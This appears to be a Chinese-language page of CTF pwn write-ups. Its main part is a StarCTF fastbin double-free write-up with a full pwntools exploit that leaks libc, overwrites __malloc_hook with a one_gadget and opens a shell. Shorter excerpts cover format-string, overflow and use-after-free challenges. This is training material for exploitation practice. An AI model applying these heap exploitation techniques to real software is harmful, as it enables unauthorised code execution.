StarCTF Double Free & Fastbin Attack Level4-Bsschunk Writeup

一道简单的double free + fastbin attack。 思路:

  1. 利用第一次double free来修改fd为pool数组 - Offset的位置,然后修改pool数组的第一个位置为我们想要读取的位置,达到任意读取的目的。
  2. 这里我们选择读取setbuf的got表,泄露setbuf的内容,然后利用泄露setbuf的地址来确定libc版本。
  3. 修改__malloc_hookone_gadget
  4. 利用两次free造成异常,报错的时候会调用mallocmalloc->__malooc_hook_one_gadget
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *
#r = process('./heaplevel4-bsschunk')
r = remote("pwn.sixstars.team", 22504)
elf = ELF('./heaplevel4-bsschunk')

def add_note(data):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("Content: ", data)

def show_note(idx):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("id:", str(idx))

def dele_note(idx):
    r.sendlineafter(">> ", "3")
    r.sendlineafter("id:", str(idx))


add_note("a")
add_note("b")
dele_note(0)
dele_note(1)
dele_note(0)
add_note(p64(0x6020C0 - 0x23))
add_note("b")
add_note("a")
add_note('a' * 0x13 + p64(elf.got['setbuf']))

show_note(0)
setbuf_addr = u64(r.recvuntil('\n', drop=True).ljust(8, '\x00'))
libc = LibcSearcher('setbuf', setbuf_addr)
libc_base = setbuf_addr - libc.dump("setbuf")
print hex(libc_base)

add_note("c")
add_note("d")
dele_note(2)
dele_note(3)
dele_note(2)
add_note(p64(libc_base + libc.dump("__malloc_hook") - 0x23))
add_note("b")
add_note("a")
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_addr = libc_base + one[2]
add_note('a' * 0x13 + p64(one_addr))
dele_note(2)
#gdb.attach(r)
dele_note(2)
r.interactive()

UNCTF 练习场 整形溢出 Intoverflow Writeup

这道题好像算是静态编译的题目,也就是使用到libc里面的函数都被静态的链接到了程序中,但是没有system函数,而且由于没有libc,所以one_gadget也是难以完成。 我这里使用的办法是,先用

UNCTF 练习场 栈溢出 Easy_pwn Writeup

待配图… 这道题我做了很久,刚开始认为主要突破点在于读入id的判定,读入id最后会被传入到read的长度中,我以为虽然对单个字节进行了判定,强制其变成0A,但是由于read读入的时候是以size_t读入,所以还可以任意控制读入长度,试验了很久,但是最后从汇编里面能看出来,其实无论如何都只能读取一个字节。

UNCTF 练习场 格式化字符串漏洞 Coverme Writeup

checksec 发现无 PIE。 那么直接拖入 IDA 看一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-40Ch]
  unsigned int v5; // [esp+40Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  puts("I like You, But....what's your name?");
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  fgets(&s, 0x400, stdin);
  printf(&s);
  if ( key == 0x5201314 )
    getshell();
  else
    puts(" But I just like You.");
  return 0;
}

可以看到 fgets 读入 0x400,而 s 数组也正好是 0x400,不存在溢出。 但是通过 fgets 读入的字符串,直接传入的 printf,这里就出现了格式化字符串漏洞。 然后可以看到这个 getshell 函数

铁三赛 2020第一赛区 Pwn题(hacknote、heap) Writeup

hacknote

思路: 利用 printf 漏洞泄露 libc_base。 然后 add note 两次 a 和 b,长度定为(0x20) ,相当于 malloc 4 块 a.putfun(0x10), a.context(0x20), b.putfun(0x10), b.context(0x20), 然后 free4 次 因为要储存堆数据要占用 0x8 的长度(fastbin size, fastbin 没有前 chunk size),所以 0x10 -> 0x20 0x20 -> 0x30 Fastbin(0x20) -> b.putfun - > a.putfun Fastbin(0x30) -> b.context -> a.context 这时候申请 addnote c 长度定为(0x10) 那么 c.putfun -> b.putfun 然后 Fastbin(0x20) -> a.putfun 再执行 c.context -> a.putfun 这时候就是 UAF 了,写入 c 的内容的时候就是写入到原来的 a 的输出函数,我们写入 one_gadget 的地址到 c 的内容覆盖掉原来 a 的输出函数,这时候再执行输出函数,实际上就是执行了 one_gadget。

0%